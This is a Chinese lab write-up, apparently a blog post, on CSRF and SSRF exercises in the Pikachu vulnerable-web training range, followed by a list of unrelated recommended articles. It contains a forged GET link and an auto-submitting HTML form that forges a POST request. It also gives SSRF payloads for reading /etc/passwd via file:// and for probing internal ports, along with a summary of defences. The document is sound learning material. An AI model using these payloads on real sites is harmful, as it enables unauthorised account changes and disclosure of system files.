Pikachu靶场之csrf

CSRF

跨站请求伪造

CSRF入门及靶场实战 - FreeBuf网络安全行业门户

攻击者伪造恶意链接,诱使用户点击,这个链接附带了用户的认证凭据Cookie、Session等,执行操作如转账。 因为带了cookie、session,服务器认为是用户的行为。借用户的权限完成攻击

get型

lucy用户登录,修改个人信息,抓包,看到要修改的信息直接在url中

get请求并没有向后台发送token参数,说明后台是没有做防CSRF的措施

可以直接把url改一下,改成sex=boy

攻击者的恶意链接

http://192.168.146.161/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=usa&email=lucy%40pikachu.com&submit=submit

用户点击链接

成功改成男孩

post型

和get型不同,要修改的参数出现在消息体里,并且没有cookie和token参数

用bp来生成poc ,右键,点击generate csrf Poc ,修改值,勾选包含自动提交script

利用burp生成POC验证CSRF - FreeBuf网络安全行业门户

生成不了 就从网上复制了一个,保存为html,并用浏览器打开

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.146.161/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="123456789" />
    <input id="add" type="text" name="add" value="hubei" />
    <input id="email" type="text" name="email" value="lucy@163.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

​

访问这个html,成功修改

token型未成功

(1)客户端把用户的用户名和密码发到服务端

(2)服务端进行校验,校验成功会生成token, 把token发送给客户端

(3)客户端自己保存token, 再次请求就要在Http协议的请求头中带着token去访问服务端,和在服务端保存的token信息进行比对校验。(所以token只能与受害者用户一致)

前端会存储这个token,放在session或cookie中,token一般用完一次就会失效

要修改的参数在url里面,带了个token,而且这个token还是明文,没有加密

bp安装CSRF Token Tracker插件

pikachu--csrf token & token防爆破? - WangWangDui - 博客园 (cnblogs.com)

设置

重放,第一次修改信息能成功,第二次就不行了,因为ccokie失效了,每次刷新页面cookie都要变

HTTPS

突然好奇,要是用了https,流量加密了,还会好挖洞吗,会对传输的数据进行加密

为什么如此安全的https协议却仍然可以被抓包呢?_网络请求会被抓取吗-CSDN博客

SSRF

curl

点击链接,观察url

把url改成了百度

file_get_content

像远程文件包含

总结

csrf是一种在用户已经登录的状态下,通过伪造请求来执行非法操作

挖掘:如果没有Referer字段和token,那么极有可能存在CSRF漏洞

防范:

(1)增加Referer,记录了该 HTTP 请求的来源地址

(2)添加 Token,每次用完就失效

(3)同源策略SOP,

(4)使用验证码,对于敏感操作输入验证码进行验证

SSRF,服务器端请求伪造

如果url中含有share、wap、url、link、src、source、target、display、sourceURl、imageURL

、domain . 参数若是其他服务器地址,就可能有ssrf漏洞

可以用于探测内网端口开放,http://内网ip:22,http 协议进行内网探测

任意文件读取,url=file:///etc/passwd,,file 协议结合目录遍历读取文件

gopher 协议打开端口。

dict 协议主要用于结合 curl 攻击

ssrf防范

限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求

限制不能访问内网的IP,以防止对内网进行攻击

相关推荐
sunshine64117 分钟前
【CSS】实现tag选中对钩样式
前端·css·css3
真滴book理喻41 分钟前
Vue(四)
前端·javascript·vue.js
蜜獾云43 分钟前
npm淘宝镜像
前端·npm·node.js
dz88i843 分钟前
修改npm镜像源
前端·npm·node.js
Jiaberrr1 小时前
解锁 GitBook 的奥秘:从入门到精通之旅
前端·gitbook
顾平安2 小时前
Promise/A+ 规范 - 中文版本
前端
聚名网2 小时前
域名和服务器是什么?域名和服务器是什么关系?
服务器·前端
桃园码工2 小时前
4-Gin HTML 模板渲染 --[Gin 框架入门精讲与实战案例]
前端·html·gin·模板渲染
不是鱼2 小时前
构建React基础及理解与Vue的区别
前端·vue.js·react.js
沈剑心2 小时前
如何在鸿蒙系统上实现「沉浸式」页面?
前端·harmonyos